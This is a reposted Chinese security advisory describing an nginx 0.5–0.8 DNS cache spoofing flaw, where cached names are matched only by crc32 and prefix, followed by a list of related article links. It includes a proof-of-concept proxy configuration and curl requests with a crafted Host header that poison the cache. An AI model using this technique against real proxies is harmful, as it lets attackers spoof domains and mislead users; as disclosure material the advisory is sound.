nginx代理DNS缓存域欺骗漏洞

简介:

受影响系统:

Igor Sysoev nginx 0.8.x
Igor Sysoev nginx 0.7.x
Igor Sysoev nginx 0.6.x
Igor Sysoev nginx 0.5.x

描述:
nginx是多平台的HTTP服务器和邮件代理服务器。

nginx对解析过的域名维护一个内部的DNS缓存,但在搜素缓存时,nginx仅检查名称的crc32是否匹配以及短名称是长名称的前缀,但没有检查名称的长度是否相等。如果nginx配置为代理缓存的话,远程攻击者就可以通过DNS投毒攻击欺骗域名,诱骗用户相信所访问的域名为合法。

< *来源:Matthew Dempsky

链接:http://marc.info/?l=nginx&m=125314374727296&w=2
*>

测试方法:

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

使用以下nginx.conf:

events {
worker_connections 1024;
}

http {
resolver 4.2.2.4;
server {
listen 8080;
location / {
proxy_pass http://$http_host$request_uri;
}
}
}

然后运行curl验证缓存中毒:

$ curl -H 'Host: www.google.com.9nyz309.crc32.dempsky.org'

http://127.0.0.1:8080/



Ho hum, nothing to see here, move along please.

 

$ curl -H 'Host: www.google.com' http://127.0.0.1:8080/


Oops, you shouldn't be asking me for http://www.google.com/!

 

建议:

厂商补丁:

Igor Sysoev
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://nginx.net/


















本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/438834,如需转载请自行联系原作者

相关文章
|
缓存 负载均衡 应用服务中间件
Nginx缓存的相关知识
总的来说,Nginx的缓存机制是其高性能的重要保证之一,通过合理的配置和管理,可以使网站的访问速度得到大幅提升。
274 28
|
存储 缓存 网络协议
如何防止DNS缓存中毒攻击(一)
DNS缓存中毒也称为DNS欺骗
291 10
|
缓存 网络协议 安全
如何防止DNS缓存中毒(Ⅱ)
服务器应该配置为尽可能少地依赖与其他DNS服务器的信任关系
265 10
|
存储 缓存 监控
|
缓存 网络协议 安全
如何防止DNS缓存中毒(Ⅱ)
防止DNS缓存中毒的方法包括:减少DNS服务器与其它服务器的信任关系;限制DNS服务器上的服务;使用最新版DNS;加强用户安全教育,如识别可疑网站,仅访问HTTPS网站等。部署SSL证书并选择符合国际Webtrust标准的CA机构,可进一步提高安全性。
259 1
|
存储 缓存 负载均衡
Nginx代理缓存机制
【10月更文挑战第2天】
469 4
|
存储 缓存 NoSQL
Nginx缓存
Nginx缓存
283 2
|
存储 缓存 网络协议
如何防止DNS缓存中毒攻击(一)
DNS缓存中毒,即DNS欺骗,是一种通过利用DNS系统的漏洞,将用户流量从合法服务器导向虚假服务器的网络攻击。攻击者通过伪造DNS响应,使缓存服务器存储错误的IP地址,从而实现对合法URL的劫持。这不仅可能导致用户信息泄露,还可能使用户设备遭受恶意软件感染,对金融、医疗等关键领域造成严重影响。据统计,DNS攻击每年造成的平均损失高达223.6万美元,其中23%的攻击源自DNS缓存中毒。
296 0
|
Web App开发 缓存 应用服务中间件
|
缓存 前端开发 应用服务中间件

相关产品

  • 云解析DNS